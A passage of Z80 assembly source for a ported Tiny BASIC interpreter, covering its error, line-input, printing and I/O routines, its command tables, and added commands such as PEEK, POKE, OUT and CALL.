LD B,C ;SAVE RESULT IN B
LD A,L ;(REMAINDER+L)/DE
POP HL
LD H,A
DV1:
LD C,0FFH ;RESULT IN C
DV2:
INC C ;DUMB ROUTINE
CALL SUBDE ;DIVIDE BY SUBTRACT
JR NC,DV2 ;AND COUNT
ADD HL,DE
RET
SUBDE:
LD A,L ;*** SUBDE ***
SUB E ;SUBSTRACT DE FROM
LD L,A ;HL
LD A,H
SBC A,D
LD H,A
RET
CHKSGN:
LD A,H ;*** CHKSGN ***
OR A ;CHECK SIGN OF HL
RET P
CHGSGN:
LD A,H ;*** CHGSGN ***
PUSH AF
CPL ;CHANGE SIGN OF HL
LD H,A
LD A,L
CPL
LD L,A
INC HL
POP AF
XOR H
JP P,QHOW
LD A,B ;AND ALSO FLIP B
XOR 80H
LD B,A
RET
CKHLDE:
LD A,H ;SAME SIGN?
XOR D ;YES, COMPARE
JP P,CK1 ;NO, XCHANGE AND COMP
EX DE,HL
CK1:
RST 20H
RET
;*************************************************************
;
; *** SETVAL *** FIN *** ENDCHK *** & ERROR (& FRIENDS) ***
;
; "SETVAL" EXPECTS A VARIABLE, FOLLOWED BY AN EQUAL SIGN AND
; THEN AN EXPR. IT EVALUATES THE EXPR. AND SET THE VARIABLE
; TO THAT VALUE.
;
; "FIN" CHECKS THE END OF A COMMAND. IF IT ENDED WITH ";",
; EXECUTION CONTINUES. IF IT ENDED WITH A CR, IT FINDS THE
; NEXT LINE AND CONTINUE FROM THERE.
;
; "ENDCHK" CHECKS IF A COMMAND IS ENDED WITH CR. THIS IS
; REQUIRED IN CERTAIN COMMANDS. (GOTO, RETURN, AND STOP ETC.)
;
; "ERROR" PRINTS THE STRING POINTED BY DE (AND ENDS WITH CR).
; IT THEN PRINTS THE LINE POINTED BY 'CURRNT' WITH A "?"
; INSERTED AT WHERE THE OLD TEXT POINTER (SHOULD BE ON TOP
; OF THE STACKB) POINTS TO. EXECUTION OF TB IS STOPPED
; AND TBI IS RESTARTED. HOWEVER, IF 'CURRNT' -> ZERO
; (INDICATING A DIRECT COMMAND), THE DIRECT COMMAND IS NOT
; PRINTED. AND IF 'CURRNT' -> NEGATIVE # (INDICATING 'INPUT'
; COMMAND), THE INPUT LINE IS NOT PRINTED AND EXECUTION IS
; NOT TERMINATED BUT CONTINUED AT 'INPERR'.
;
; RELATED TO 'ERROR' ARE THE FOLLOWING:
; 'QWHAT' SAVES TEXT POINTER IN STACKB AND GET MESSAGE "WHAT?"
; 'AWHAT' JUST GET MESSAGE "WHAT?" AND JUMP TO 'ERROR'.
; 'QSORRY' AND 'ASORRY' DO SAME KIND OF THING.
; 'AHOW' AND 'AHOW' IN THE ZERO PAGE SECTION ALSO DO THIS.
;*************************************************************
SETVAL:
RST 38H ;*** SETVAL ***
JP C,QWHAT ;"WHAT?" NO VARIABLE
PUSH HL ;SAVE ADDRESS OF VAR.
RST 08H ;PASS "=" SIGN
DB '='
DB SV1-$-1
RST 18H ;EVALUATE EXPR.
LD B,H ;VALUE IS IN BC NOW
LD C,L
POP HL ;GET ADDRESS
LD (HL),C ;SAVE VALUE
INC HL
LD (HL),B
RET
SV1:
JP QWHAT ;NO "=" SIGN
FIN:
RST 08H ;*** FIN ***
DB 3BH
DB FI1-$-1
POP AF ;";", PURGE RET. ADDR.
JP RUNSML ;CONTINUE SAME LINE
FI1:
RST 08H ;NOT ";", IS IT CR?
DB CR
DB FI2-$-1
POP AF ;YES, PURGE RET. ADDR.
JP RUNNXL ;RUN NEXT LINE
FI2:
RET ;ELSE RETURN TO CALLER
ENDCHK:
RST 28H ;*** ENDCHK ***
CP CR ;END WITH CR?
RET Z ;OK, ELSE SAY: "WHAT?"
QWHAT:
PUSH DE ;*** QWHAT ***
AWHAT:
LD DE,WHAT ;*** AWHAT ***
ERROR_ROUTINE:
SUB A ;*** ERROR ***
CALL PRTSTG ;PRINT 'WHAT?', 'HOW?'
POP DE ;OR 'SORRY'
LD A,(DE) ;SAVE THE CHARACTER
PUSH AF ;AT WHERE OLD DE ->
SUB A ;AND PUT A 0 THERE
LD (DE),A
LD HL,(CURRNT) ;GET CURRENT LINE #
PUSH HL
LD A,(HL) ;CHECK THE VALUE
INC HL
OR (HL)
POP DE
JP Z,RSTART ;IF ZERO, JUST RESTART
LD A,(HL) ;IF NEGATIVE,
OR A
JP M,INPERR ;REDO INPUT
CALL PRTLN ;ELSE PRINT THE LINE
DEC DE ;UPTO WHERE THE 0 IS
POP AF ;RESTORE THE CHARACTER
LD (DE),A
LD A,3FH ;PRINT A "?"
RST 10H
SUB A ;AND THE REST OF THE
CALL PRTSTG ;LINE
JP RSTART ;THEN RESTART
QSORRY:
PUSH DE ;*** QSORRY ***
ASORRY:
LD DE,SORRY ;*** ASORRY ***
JR ERROR_ROUTINE
;*************************************************************
;
; *** GETLN *** FNDLN (& FRIENDS) ***
;
; 'GETLN' READS A INPUT LINE INTO 'BUFFER'. IT FIRST PROMPT
; THE CHARACTER IN A (GIVEN BY THE CALLER), THEN IT FILLS
; THE BUFFER AND ECHOS. IT IGNORES LF'S AND NULLS, BUT STILL
; ECHOS THEM BACK. RUB-OUT IS USED TO CAUSE IT TO DELETE
; THE LAST CHARACTER (IF THERE IS ONE), AND ALT-MOD IS USED TO
; CAUSE IT TO DELETE THE WHOLE LINE AND START IT ALL OVER.
; CR SIGNALS THE END OF A LINE, AND CAUSE 'GETLN' TO RETURN.
;
; 'FNDLN' FINDS A LINE WITH A GIVEN LINE # (IN HL) IN THE
; TEXT SAVE AREA. DE IS USED AS THE TEXT POINTER. IF THE
; LINE IS FOUND, DE WILL POINT TO THE BEGINNING OF THAT LINE
; (I.E., THE LOW BYTE OF THE LINE #), AND FLAGS ARE NC & Z.
; IF THAT LINE IS NOT THERE AND A LINE WITH A HIGHER LINE #
; IS FOUND, DE POINTS TO THERE AND FLAGS ARE NC & NZ. IF
; WE REACHED THE END OF TEXT SAVE AREA AND CANNOT FIND THE
; LINE, FLAGS ARE C & NZ.
; 'FNDLN' WILL INITIALIZE DE TO THE BEGINNING OF THE TEXT SAVE
; AREA TO START THE SEARCH. SOME OTHER ENTRIES OF THIS
; ROUTINE WILL NOT INITIALIZE DE AND DO THE SEARCH.
; 'FNDLNP' WILL START WITH DE AND SEARCH FOR THE LINE #.
; 'FNDNXT' WILL BUMP DE BY 2, FIND A CR AND THEN START SEARCH.
; 'FNDSKP' USE DE TO FIND A CR, AND THEN START SEARCH.
;*************************************************************
GETLN:
RST 10H ;*** GETLN ***
LD DE,BUFFER ;PROMPT AND INIT.
GL1:
CALL CHKIO ;CHECK KEYBOARD
JR Z,GL1 ;NO INPUT, WAIT
CP 7FH ;DELETE LAST CHARACTER?
JR Z,GL3 ;YES
RST 10H ;INPUT, ECHO BACK
CP 0AH ;IGNORE LF
JR Z,GL1
OR A ;IGNORE NULL
JR Z,GL1
CP 7DH ;DELETE THE WHOLE LINE?
JR Z,GL4 ;YES
LD (DE),A ;ELSE SAVE INPUT
INC DE ;AND BUMP POINTER
CP 0DH ;WAS IT CR
RET Z ;YES, END OF LINE
LD A,E ;ELSE MORE FREE ROOM?
CP BUFEND AND 0FFH
JR NZ,GL1 ;YES, GET NEXT INPUT
GL3:
LD A,E ;DELETE LAST CHARACTER
CP BUFFER AND 0FFH ;BUT DO WE HAVE ANY?
JR Z,GL4 ;NO, REDO WHOLE LINE
DEC DE ;YES, BACKUP POINTER
LD A,5CH ;AND ECHO A BACK-SLASH
RST 10H
JR GL1 ;GO GET NEXT INPUT
GL4:
CALL CRLF ;REDO ENTIRE LINE
LD A,05EH ;CR, LF AND UP-ARROW
JR GETLN
FNDLN:
LD A,H ;*** FNDLN ***
OR A ;CHECK SIGN OF HL
JP M,QHOW ;IT CANNOT BE -
LD DE,TXTBGN ;INIT TEXT POINTER
FNDLP: ;*** FDLNP ***
FL1:
PUSH HL ;SAVE LINE #
LD HL,(TXTUNF) ;CHECK IF WE PASSED END
DEC HL
RST 20H
POP HL ;GET LINE # BACK
RET C ;C,NZ PASSED END
LD A,(DE) ;WE DID NOT, GET BYTE 1
SUB L ;IS THIS THE LINE?
LD B,A ;COMPARE LOW ORDER
INC DE
LD A,(DE) ;GET BYTE 2
SBC A,H ;COMPARE HIGH ORDER
JR C,FL2 ;NO, NOT THERE YET
DEC DE ;ELSE WE EITHER FOUND
OR B ;IT, OR IT IS NOT THERE
RET ;NC,Z;FOUND, NC,NZ:NO
FNDNXT: ;*** FNDNXT ***
INC DE ;FIND NEXT LINE
FL2:
INC DE ;JUST PASSED BYTE 1 & 2
FNDSKP:
LD A,(DE) ;*** FNDSKP ***
CP CR ;TRY TO FIND CR
JR NZ,FL2 ;KEEP LOOKING
INC DE ;FOUND CR, SKIP OVER
JR FL1 ;CHECK IF END OF TEXT
;*************************************************************
;
; *** PRTSTG *** QTSTG *** PRTNUM *** & PRTLN ***
;
; 'PRTSTG' PRINTS A STRING POINTED BY DE. IT STOPS PRINTING
; AND RETURNS TO CALLER WHEN EITHER A CR IS PRINTED OR WHEN
; THE NEXT BYTE IS THE SAME AS WHAT WAS IN A (GIVEN BY THE
; CALLER). OLD A IS STORED IN B, OLD B IS LOST.
;
; 'QTSTG' LOOKS FOR A BACK-ARROW, SINGLE QUOTE, OR DOUBLE
; QUOTE. IF NONE OF THESE, RETURN TO CALLER. IF BACK-ARROW,
; OUTPUT A CR WITHOUT A LF. IF SINGLE OR DOUBLE QUOTE, PRINT
; THE STRING IN THE QUOTE AND DEMANDS A MATCHING UNQUOTE.
; AFTER THE PRINTING THE NEXT 3 BYTES OF THE CALLER IS SKIPPED
; OVER (USUALLY A JUMP INSTRUCTION.
;
; 'PRTNUM' PRINTS THE NUMBER IN HL. LEADING BLANKS ARE ADDED
; IF NEEDED TO PAD THE NUMBER OF SPACES TO THE NUMBER IN C.
; HOWEVER, IF THE NUMBER OF DIGITS IS LARGER THAN THE # IN
; C, ALL DIGITS ARE PRINTED ANYWAY. NEGATIVE SIGN IS ALSO
; PRINTED AND COUNTED IN, POSITIVE SIGN IS NOT.
;
; 'PRTLN' PRINTS A SAVED TEXT LINE WITH LINE # AND ALL.
;*************************************************************
PRTSTG:
LD B,A ;*** PRTSTG ***
PS1:
LD A,(DE) ;GET A CHARACTER
INC DE ;BUMP POINTER
CP B ;SAME AS OLD A?
RET Z ;YES, RETURN
RST 10H ;NO, NEXT
CP CR ;WAS IT A CR?
JR NZ,PS1 ;NO, NEXT
RET ;YES, RETURN
QTSTG:
RST 08H ;*** QTSTG ***
DB '"'
DB QT3-$-1
LD A,22H ;IT IS A "
QT1:
CALL PRTSTG ;PRINT UNTIL ANOTHER
CP CR ;WAS LAST ONE A CR?
POP HL ;RETURN ADDRESS
JP Z,RUNNXL ;WAS CR, RUN NEXT LINE
QT2:
INC HL ;SKIP 3 BYTES ON RETURN
INC HL
;INC HL ;skip due to relative jumps
;suggested by Nick Brok: Fixed
JP (HL) ;RETURN
QT3:
RST 08H ;IS IT A '?
DB 27H
DB QT4-$-1
LD A,27H ;YES, DO THE SAME
JR QT1 ;AS IN "
QT4:
RST 08H ;IS IT BACK-ARROW?
DB 5FH
DB QT5-$-1
LD A,8DH ;YES, CR WITHOUT LF
RST 10H ;DO IT TWICE TO GIVE
RST 10H ;TTY ENOUGH TIME
POP HL ;RETURN ADDRESS
JR QT2
QT5:
RET ;NONE OF ABOVE
;
PRTNUM:
LD B,00H ;*** PRTNUM ***
CALL CHKSGN ;CHECK SIGN
JP P,PN1 ;NO SIGN
LD B,'-' ;B=SIGN
DEC C ;'-' TAKES SPACE
PN1:
PUSH DE ;SAVE
LD DE,000AH ;DECIMAL
PUSH DE ;SAVE AS FLAG
DEC C ;C=SPACES
PUSH BC ;SAVE SIGN & SPACE
PN2:
CALL DIVIDE ;DIVIDE HL BY 10
LD A,B ;RESULT 0?
OR C
JR Z,PN3 ;YES, WE GOT ALL
EX (SP),HL ;NO, SAVE REMAINDER
DEC L ;AND COUNT SPACE
PUSH HL ;HL IS OLD BC
LD H,B ;MOVE RESULT TO BC
LD L,C
JR PN2 ;AND DIVIDE BY 10
PN3:
POP BC ;WE GOT ALL DIGITS IN
PN4:
DEC C ;THE STACKB
LD A,C ;LOOK AT SPACE COUNT
OR A
JP M,PN5 ;NO LEADING BLANKS
LD A,20H ;LEADING BLANKS
RST 10H
JR PN4 ;MORE?
PN5:
LD A,B ;PRINT SIGN
OR A
CALL NZ,0010H
LD E,L ;LAST REMAINDER IN E
PN6:
LD A,E ;CHECK DIGIT IN E
CP 0AH ;10 IS FLAG FOR NO MORE
POP DE
RET Z ;IF SO, RETURN
ADD A,30H ;ELSE, CONVERT TO ASCII
RST 10H ;PRINT THE DIGIT
JR PN6 ;GO BACK FOR MORE
PRTLN:
LD A,(DE) ;*** PRTLN ***
LD L,A ;LOW ORDER LINE #
INC DE
LD A,(DE) ;HIGH ORDER
LD H,A
INC DE
LD C,04H ;PRINT 4 DIGIT LINE #
CALL PRTNUM
LD A,20H ;FOLLOWED BY A BLANK
RST 10H
SUB A ;AND THEN THE NEXT
CALL PRTSTG
RET
;*************************************************************
;
; *** MVUP *** MVDOWN *** POPA *** & PUSHA ***
;
; 'MVUP' MOVES A BLOCK UP FROM WHERE DE-> TO WHERE BC-> UNTIL
; DE = HL
;
; 'MVDOWN' MOVES A BLOCK DOWN FROM WHERE DE-> TO WHERE HL->
; UNTIL DE = BC
;
; 'POPA' RESTORES THE 'FOR' LOOP VARIABLE SAVE AREA FROM THE
; STACKB
;
; 'PUSHA' STACKBS THE 'FOR' LOOP VARIABLE SAVE AREA INTO THE
; STACKB
;*************************************************************
MVUP:
RST 20H ;*** MVUP ***
RET Z ;DE = HL, RETURN
LD A,(DE) ;GET ONE BYTE
LD (BC),A ;MOVE IT
INC DE ;INCREASE BOTH POINTERS
INC BC
JR MVUP ;UNTIL DONE
MVDOWN:
LD A,B ;*** MVDOWN ***
SUB D ;TEST IF DE = BC
JP NZ,MD1 ;NO, GO MOVE
LD A,C ;MAYBE, OTHER BYTE?
SUB E
RET Z ;YES, RETURN
MD1:
DEC DE ;ELSE MOVE A BYTE
DEC HL ;BUT FIRST DECREASE
LD A,(DE) ;BOTH POINTERS AND
LD (HL),A ;THEN DO IT
JR MVDOWN ;LOOP BACK
POPA:
POP BC ;BC = RETURN ADDR.
POP HL ;RESTORE LOPVAR, BUT
LD (LOPVAR),HL ;=0 MEANS NO MORE
LD A,H
OR L
JR Z,PP1 ;YEP, GO RETURN
POP HL ;NOP, RESTORE OTHERS
LD (LOPINC),HL
POP HL
LD (LOPLMT),HL
POP HL
LD (LOPLN),HL
POP HL
LD (LOPPT),HL
PP1:
PUSH BC ;BC = RETURN ADDR.
RET
PUSHA:
LD HL,STKLMT ;*** PUSHA ***
CALL CHGSGN
POP BC ;BC=RETURN ADDRESS
ADD HL,SP ;IS STACKB NEAR THE TOP?
JP NC,QSORRY ;YES, SORRY FOR THAT
LD HL,(LOPVAR) ;ELSE SAVE LOOP VAR'S
LD A,H ;BUT IF LOPVAR IS 0
OR L ;THAT WILL BE ALL
JR Z,PU1
LD HL,(LOPPT) ;ELSE, MORE TO SAVE
PUSH HL
LD HL,(LOPLN)
PUSH HL
LD HL,(LOPLMT)
PUSH HL
LD HL,(LOPINC)
PUSH HL
LD HL,(LOPVAR)
PU1:
PUSH HL
PUSH BC ;BC = RETURN ADDR.
RET
;*************************************************************
;
; *** OUTC *** & CHKIO ***
;
; THESE ARE THE ONLY I/O ROUTINES IN TBI.
; 'OUTC' IS CONTROLLED BY A SOFTWARE SWITCH 'OCSW'. IF OCSW=0
; 'OUTC' WILL JUST RETURN TO THE CALLER. IF OCSW IS NOT 0,
; IT WILL OUTPUT THE BYTE IN A. IF THAT IS A CR, A LF IS ALSO
; SEND OUT. ONLY THE FLAGS MAY BE CHANGED AT RETURN. ALL REG.
; ARE RESTORED.
;
; 'CHKIO' CHECKS THE INPUT. IF NO INPUT, IT WILL RETURN TO
; THE CALLER WITH THE Z FLAG SET. IF THERE IS INPUT, Z FLAG
; IS CLEARED AND THE INPUT BYTE IS IN A. HOWEVER, IF THE
; INPUT IS A CONTROL-O, THE 'OCSW' SWITCH IS COMPLIMENTED, AND
; Z FLAG IS RETURNED. IF A CONTROL-C IS READ, 'CHKIO' WILL
; RESTART TBI AND DO NOT RETURN TO THE CALLER.
;*************************************************************
INIT:
CALL SERIAL_INIT ;INITIALIZE THE SERIAL PORT
LD D,03H ;3X LINE FEEDS
PATLOP:
CALL CRLF
DEC D
JR NZ,PATLOP
SUB A
LD DE,MSG1
CALL PRTSTG
LD DE,MSG2
CALL PRTSTG
LD DE,MSG3
CALL PRTSTG
LD HL,START
LD (RANPNT),HL
LD HL,TXTBGN
LD (TXTUNF),HL
JP RSTART
OUTC:
JR NZ,OUTC2 ;IT IS ON
POP AF ;IT IS OFF
RET ;RESTORE AF AND RETURN
OUTC2:
CALL TX_RDY ;SEE IF TRANSMIT IS AVAILABLE
POP AF ;RESTORE THE REGISTER
OUT (SerialPort),A ;SEND THE BYTE
CP CR
RET NZ
LD A,LF
RST 10H
LD A,CR
RET
CHKIO:
CALL RX_RDY ;CHECK IF CHARACTER AVAILABLE
RET Z ;RETURN IF NO CHARACTER AVAILABLE
PUSH BC ;IF IT'S A LF, IGNORE AND RETURN
LD B,A ; AS IF THERE WAS NO CHARACTER.
SUB LF
JR Z,CHKIO2
LD A,B ;OTHERWISE RESTORE 'A' AND 'BC'
POP BC ; AND CONTINUE ON.
CP 0FH ;IS IT CONTROL-0?
JR NZ,CI1 ;NO, MORE CHECKING
LD A,(OCSW) ;CONTROL-0 FLIPS OCSW
CPL ;ON TO OFF, OFF TO ON
LD (OCSW),A
JR CHKIO ;GET ANOTHER INPUT
CHKIO2:
LD A,00H ;CLEAR A
OR A ;ZET THE Z-FLAG
POP BC ;RESTORE THE 'BC' PAIR
RET ;RETURN WITH 'Z' SET.
CI1:
CP 03H ;IS IT CONTROL-C?
RET NZ ;NO, RETURN "NZ"
JP RSTART ;YES, RESTART TBI
;
MSG1:
DB ESC,"[2J",ESC,"[H"
DB 'Z80 TinyBASIC 2.5g Patch 2',CR
MSG2: DB 'Ported by Doug Gabbard, 2017',CR
MSG3:
DB LF,LF,'HELP - New Instructions',LF,LF,CR
;*************************************************************
;
; *** TABLES *** DIRECT *** & EXEC ***
;
; THIS SECTION OF THE CODE TESTS A STRING AGAINST A TABLE.
; WHEN A MATCH IS FOUND, CONTROL IS TRANSFERED TO THE SECTION
; OF CODE ACCORDING TO THE TABLE.
;
; AT 'EXEC', DE SHOULD POINT TO THE STRING AND HL SHOULD POINT
; TO THE TABLE-1. AT 'DIRECT', DE SHOULD POINT TO THE STRING.
; HL WILL BE SET UP TO POINT TO TAB1-1, WHICH IS THE TABLE OF
; ALL DIRECT AND STATEMENT COMMANDS.
;
; A '.' IN THE STRING WILL TERMINATE THE TEST AND THE PARTIAL
; MATCH WILL BE CONSIDERED AS A MATCH. E.G., 'P.', 'PR.',
; 'PRI.', 'PRIN.', OR 'PRINT' WILL ALL MATCH 'PRINT'.
;
; THE TABLE CONSISTS OF ANY NUMBER OF ITEMS. EACH ITEM
; IS A STRING OF CHARACTERS WITH BIT 7 SET TO 0 AND
; A JUMP ADDRESS STORED HI-LOW WITH BIT 7 OF THE HIGH
; BYTE SET TO 1.
;
; END OF TABLE IS AN ITEM WITH A JUMP ADDRESS ONLY. IF THE
; STRING DOES NOT MATCH ANY OF THE OTHER ITEMS, IT WILL
; MATCH THIS NULL ITEM AS DEFAULT.
;*************************************************************
TAB1: ;DIRECT COMMANDS
DB 'HELP' ;ADDED HELP MENU
DWA HELP_CMDS
DB 'LIST'
DWA LIST
DB 'NEW'
DWA NEW
DB 'RUN'
DWA RUN
TAB2: ;DIRECT/STATEMENT
DB 'CALL'
DWA CALL_MCODE
DB 'CLS' ;ADDED CLS CMD
DWA CLSB
DB 'DELAY' ;ADDED DELAY CMD
DWA DELAYB
DB 'FOR'
DWA FOR
DB 'GOSUB'
DWA GOSUB
DB 'GOTO'
DWA GOTO
DB 'IF'
DWA IFF
DB 'INPUT'
DWA INPUT
DB 'IN' ;ADDED IN CMD
DWA INB
DB 'LET'
DWA LET
DB 'NEXT'
DWA NEXT
DB 'OUT' ;ADDED OUT CMD
DWA OUTB
DB 'PEEK' ;ADDED PEEK
DWA PEEK
DB 'POKE' ;ADDED POKE
DWA POKE
DB 'PRINT'
DWA PRINT
DB 'REM'
DWA REM
DB 'RETURN'
DWA RETURN
DB 'STOP'
DWA STOP
DWA DEFLT
TAB4: ;FUNCTIONS
DB 'ABS'
DWA ABS
DB 'RND'
DWA RND
DB 'SIZE'
DWA SIZE
DWA XP40
TAB5: ;"TO" IN "FOR"
DB 'TO'
DWA FR1
DWA QWHAT
TAB6: ;"STEP" IN "FOR"
DB 'STEP'
DWA FR2
DWA FR3
TAB8: ;RELATION OPERATORS
DB '>='
DWA XP11
DB '#'
DWA XP12
DB '>'
DWA XP13
DB '='
DWA XP15
DB '<='
DWA XP14
DB '<'
DWA XP16
DWA XP17
DIRECT: LD HL,TAB1-1 ;*** DIRECT ***
EXEC: ;*** EXEC ***
EX0: RST 28H ;IGNORE LEADING BLANKS
PUSH DE ;SAVE POINTER
EX1:
LD A,(DE) ;IF FOUND '.' IN STRING
INC DE ;BEFORE ANY MISMATCH
CP 23H ;WE DECLARE A MATCH
JR Z,EX3
INC HL ;HL->TABLE
CP (HL) ;IF MATCH, TEST NEXT
JR Z,EX1
LD A,7FH ;ELSE SEE IF BIT 7
DEC DE ;OF TABLE IS SET, WHICH
CP (HL) ;IS THE JUMP ADDR. (HI)
JR C,EX5 ;C:YES, MATCHED
EX2:
INC HL ;NC:NO, FIND JUMP ADDR.
CP (HL)
JR NC,EX2
INC HL ;BUMP TO NEXT TAB. ITEM
POP DE ;RESTORE STRING POINTER
JR EX0 ;TEST AGAINST NEXT ITEM
EX3:
LD A,7FH ;PARTIAL MATCH, FIND
EX4:
INC HL ;JUMP ADDR., WHICH IS
CP (HL) ;FLAGGED BY BIT 7
JR NC,EX4
EX5:
LD A,(HL) ;LOAD HL WITH THE JUMP
INC HL ;ADDRESS FROM THE TABLE
LD L,(HL)
AND 7FH ;MASK OFF BIT 7
LD H,A
POP AF ;CLEAN UP THE GABAGE
JP (HL) ;AND WE GO DO IT
;*************************************************************
; *** TinyBASIC Expansion ***
;
; *** QUIT *** INB *** OUTB *** CLSB ***
; *** DELAYB *** PEEK *** POKE ***
;
; INB IS THE ROUTINE FOR READING THE VALUE OF A PORT AND
; ASSIGNING IT TO A VARIABLE.
;
; OUTB IS THE ROUTINE FOR READIGN THE VALUE OF A VARIABLE AND
; WRITING IT TO A HARDWARE PORT.
;
; CLSB IS A ROUTINE TO CLEAR THE SCREEN.
;
; DELAYB IS A ROUTINE DESIGNED TO GIVE APPROXIMATELY 2ms DELAY
; AT 6MHZ.
;
; PEEK IS A ROUTINE TO READ THE VALUE OF A MEMORY LOCATION
; AND STORE THAT VALUE IN A VARIABLE.
;
; POKE IS A ROUTINE USED TO READ A VARIABLE, AND WRITE THE
; INFORMATION INTO A MEMORY LOCATION.
;
; CALL_MCODE IS A ROUTINE TO EXECUTE MACHINE CODE, AND CAN
; RETURN A TWO BYTE VARIABLE BACK TO 'HL'.
;*************************************************************
INB: ;'IN' ROUTINE
PUSH AF ;SAVE THE REGISTERS
PUSH BC
INB2:
INC DE
LD A,(DE)
LD B,SPACE
CP B
JR Z,INB2 ;IF IT'S NOT A SPACE GET THE LOCATION
INB3:
CALL GET_HEX
LD C,A ;PORT IS NOW IN 'C'.
INB4:
INC DE
LD A,(DE)
LD B,',' ; COMPARE COMA
CP B
JR Z,INB4
LD B,' ' ; COMPARE SPACE
CP B
JR Z,INB4
LD B,'='
CP B
JR Z,INB4
LD B,40H ;IF NOT IT IS VARIABLE
SUB B ;ADJUST FOR MEMORY LOCATION
LD HL,VARBGN ;COMPUTE ADDRESS OF
RLCA ;THAT VARIABLE
ADD A,L ;AND RETURN IT IN HL
LD L,A ;WITH C FLAG CLEARED
LD A,00H
ADC A,H
LD H,A
IN A,(C) ;GET BYTE
LD (HL),A ;STORE IT IN THE VARIALBLE LOCATION
INC HL ;PAD THE EXTRA MEMORY LOCATION
LD (HL),00H
INC DE
POP BC ;RESTORE THE REGISTERS
POP AF
JP RUNSML ;NEXT LINE
;-------------------------------------------------------------------------------
OUTB: ;'OUT' ROUTINE
PUSH AF
PUSH BC
OUTB2:
INC DE
LD A,(DE)
LD B,SPACE
CP B
JR Z,OUTB2
OUTB3:
CALL GET_HEX
PUSH AF ;PORT IS IN THE STACK
OUTB4:
INC DE
LD A,(DE)
LD B,',' ; COMPARE COMA
CP B
JR Z,OUTB4
LD B,' ' ; COMPARE SPACE
CP B
JR Z,OUTB4
LD B,'='
CP B
JR Z,OUTB4
LD B,40H ;IF NOT IT IS VARIABLE
SUB B ;ADJUST FOR MEMORY LOCATION
LD HL,VARBGN ;COMPUTE ADDRESS OF
RLCA ;THAT VARIABLE
ADD A,L ;AND RETURN IT IN HL
LD L,A ;WITH C FLAG CLEARED
LD A,00H
ADC A,H
LD H,A ;VARIABLE LOCATION IN HL
POP AF ;PORT BACK IN 'A'
LD C,A ;PORT IS NOW IN C
LD A,(HL) ;Load the value from memory into 'A'
OUT (C),A ;WRITE THE BYTE TO THE PORT
POP BC ;RESTORE REGISTERS
POP AF
INC DE
JP RUNSML
;-------------------------------------------------------------------------------
CLSB: ;CLS ROUTINE FOR BASIC
PUSH AF
PUSH BC
PUSH DE
LD DE,CLSB_MSG
CALL PRTSTG
POP DE
POP BC
POP AF
INC DE
JP RUNNXL
CLSB_MSG:
DB ESC,"[2J",ESC,"[H",CR
;-------------------------------------------------------------------------------
DELAYB:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
CALL MILLI_DLY
POP HL
POP DE
POP BC
POP AF
INC DE
JP RUNNXL
;-------------------------------------------------------------------------------
PEEK:
PUSH AF ;SAVE THE REGISTERS
PUSH BC
PEEK2:
INC DE
LD A,(DE)
LD B,SPACE
CP B
JR Z,PEEK2 ;IF IT'S NOT A SPACE GET THE LOCATION
PEEK3:
CALL GET_HEX
LD H,A
INC DE
CALL GET_HEX
LD L,A ;MEMORY LOCATION IN 'HL' NOW.
LD A,(HL) ;GET THE BYTE FROM MEMORY.
PUSH AF ;NOW STORE THE BYTE ON THE STACK.
PEEK4:
INC DE
LD A,(DE)
LD B,',' ; COMPARE COMA
CP B
JR Z,PEEK4
LD B,' ' ; COMPARE SPACE
CP B
JR Z,PEEK4
LD B,'='
CP B
JR Z,PEEK4
LD B,40H ;IF NOT IT IS VARIABLE
SUB B ;ADJUST FOR MEMORY LOCATION
LD HL,VARBGN ;COMPUTE ADDRESS OF
RLCA ;THAT VARIABLE
ADD A,L ;AND RETURN IT IN HL
LD L,A ;WITH C FLAG CLEARED
LD A,00H
ADC A,H
LD H,A
POP AF ;RESTORE THE BYTE FROM THE STACK
LD (HL),A ;STORE IT IN THE VARIALBLE LOCATION
INC HL ;PAD THE EXTRA MEMORY LOCATION
LD (HL),00H
INC DE
POP BC ;RESTORE THE REGISTERS
POP AF
JP RUNSML ;NEXT LINE
;-------------------------------------------------------------------------------
POKE: ;POKE ROUTINE
PUSH AF
PUSH BC
POKE2:
INC DE
LD A,(DE)
LD B,SPACE
CP B
JR Z,POKE2
POKE3:
CALL GET_HEX
LD H,A
INC DE
CALL GET_HEX
LD L,A ;LOCATION NOW 'HL'
PUSH HL ;STORE LOCATION IN STACK.
POKE4:
INC DE
LD A,(DE)
LD B,',' ; COMPARE COMA
CP B
JR Z,POKE4
LD B,' ' ; COMPARE SPACE
CP B
JR Z,POKE4
LD B,'='
CP B
JR Z,POKE4
LD B,'(' ;IS IT HEX?
CP B
JR Z,POKE5
LD B,40H ;IF NOT IT IS VARIABLE
SUB B ;ADJUST FOR MEMORY LOCATION
LD HL,VARBGN ;COMPUTE ADDRESS OF
RLCA ;THAT VARIABLE
ADD A,L ;AND RETURN IT IN HL
LD L,A ;WITH C FLAG CLEARED
LD A,00H
ADC A,H
LD H,A ;VARIABLE LOCATION IN HL
;POP AF ;PORT BACK IN 'A'
;LD C,A ;PORT IS NOW IN C
LD A,(HL) ;Load the value from memory into 'A'
POP HL ;GET THE MEMORY LOCATION BACK
LD (HL),A
;OUT (C),A ;WRITE THE BYTE TO THE PORT
POP BC ;RESTORE REGISTERS
POP AF
INC DE
JP RUNSML
POKE5:
INC DE ;NEXT CHARACTER
LD A,(DE)
LD B,')' ;IS IT THE END OF HEX?
CP B
JR Z,POKE6 ;IF SO, GO TO END
CALL GET_HEX ;IF NOT, GET THE VALUE AND WRITE
POP HL
LD (HL),A
INC HL ;NEXT LOCATION TO WRITE
PUSH HL ;STORE THE LOCATION
JR POKE5 ;NEXT BYTE.
POKE6:
POP BC
POP AF
INC DE
JP RUNSML
;-------------------------------------------------------------------------------
CALL_MCODE:
PUSH AF
PUSH BC
PUSH HL
CALL2:
INC DE
LD A,(DE)
LD B,SPACE
CP B
JR Z,CALL2
CALL3:
LD HL,CALL5 ;SET RETURN VECTOR - I THINK...
PUSH HL ;PLACE IT ON THE STACK FOR RETURN...
CALL GET_HEX
LD H,A
INC DE
CALL GET_HEX
LD L,A ;LOCATION NOW 'HL'
CALL4:
PUSH DE ;SAVE CURRENT DE LOCATION.
JP (HL)
CALL5:
POP HL
POP DE ;KEEPS RETURNING 'WHAT?' ERROR....
POP BC
POP AF
INC DE
JP RUNSML
;-------------------------------------------------------------------------------
GET_HEX:
LD A,(DE)
LD B,A
INC DE
LD A,(DE)
LD C,A
PUSH DE ;SAVE DE LOCATION
LD D,B ;SEND THE ASCII TO CONVERT
LD E,C
